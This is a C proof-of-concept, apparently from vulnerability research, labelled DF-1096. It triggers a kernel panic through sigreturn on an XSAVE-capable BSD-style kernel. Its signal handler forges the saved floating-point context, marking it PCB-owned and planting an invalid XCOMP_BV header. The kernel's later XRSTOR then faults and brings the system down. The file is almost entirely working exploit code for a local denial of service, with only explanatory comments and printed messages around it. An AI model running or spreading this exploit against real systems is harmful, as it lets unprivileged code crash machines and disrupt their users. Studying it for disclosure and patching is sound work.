DF-1096 / df1096.c
/* * DF-1096 trigger โ crafted XSAVE header via sigreturn. * * Sets up a SA_SIGINFO handler for SIGUSR1, modifies the saved FP context * (mc_ownedfp = _MC_FPOWNED_PCB and XCOMP_BV = bit63 | unsupported bit), then * returns and executes an FP instruction. On an XSAVE-capable kernel the * subsequent XRSTOR in npxdna -> fpurstor raises #GP(0) and the kernel panics. * * On a non-XSAVE kernel (cpu_xsave=0, fxrstor path), the XSAVE header is * ignored and the program completes normally โ proving the bug *is* there * (the untrusted header reaches the kernel save area) but does not panic * without XRSTOR. */ #include <sys/types.h> #include <sys/sysctl.h> #include <err.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <machine/ucontext.h> /* Offset of xstate_xcomp_bv inside union savefpu / mc_fpregs (bytes). */ #define XCOMP_BV_OFF 520 /* 512 (FXSAVE area) + 8 (xstate_bv) */ /* _MC_FPOWNED_PCB from <cpu/ucontext.h>; mirror in case header is missing. */ #ifndef _MC_FPOWNED_PCB #define _MC_FPOWNED_PCB 0x20002 #endif static volatile int g_handler_ran = 0; static void handler(int signo, siginfo_t *si, void *vp) { ucontext_t *uc = (ucontext_t *)vp; mcontext_t *mc = &uc->uc_mcontext; unsigned char *fp = (unsigned char *)mc->mc_fpregs; uint64_t *xcomp_bv = (uint64_t *)(fp + XCOMP_BV_OFF); uint64_t *xstate_bv = (uint64_t *)(fp + 512); /* * Claim the FP state came from the PCB so npxpop will bcopy it back * into td->td_savefpu verbatim, then plant the bad XSAVE header. * Bit 63 of XCOMP_BV = compacted format. Bit 3 = BNDREGS state, * almost never enabled in XCR0 on consumer CPUs (and never on this * guest). XRSTOR raises #GP(0) if any XCOMP_BV bit is set outside XCR0. */ mc->mc_ownedfp = _MC_FPOWNED_PCB; mc->mc_fpformat = _MC_FPFMT_YMM; /* so kernel saves the whole area */ *xstate_bv = 0; *xcomp_bv = 0x8000000000000008ULL; /* COMPACT | bit 3 (BNDREGS) */ g_handler_ran = 1; } int main(void) { struct sigaction sa; double v = 1.0; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = handler; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_SIGINFO; if (sigaction(SIGUSR1, &sa, NULL) != 0) err(1, "sigaction"); /* Touch FP so the kernel initialises the FPU state for this thread. */ __asm __volatile("" :: "x"(v)); /* Raise signal; handler edits the saved FP context. */ raise(SIGUSR1); if (!g_handler_ran) errx(1, "handler did not run"); /* * Force npxdna by emitting an FP instruction after sigreturn. On an * XSAVE kernel this XRSTORs the poisoned header โ #GP(0) โ panic. * On a non-XSAVE kernel, the FXRSTOR path is taken and the XSAVE * header is ignored โ we get here cleanly. */ __asm __volatile("addsd %0, %0" : "+x"(v)); printf("OK: handler ran, FP instruction completed, no panic.\n"); printf("This means the kernel took the FXRSTOR branch (cpu_xsave=0) and\n"); printf("ignored the crafted XSAVE header. The bug is still present at\n"); printf("npx.c:416-417 (header not validated); to demonstrate the panic\n"); printf("the guest must run on an XSAVE-capable CPU.\n"); return 0; } |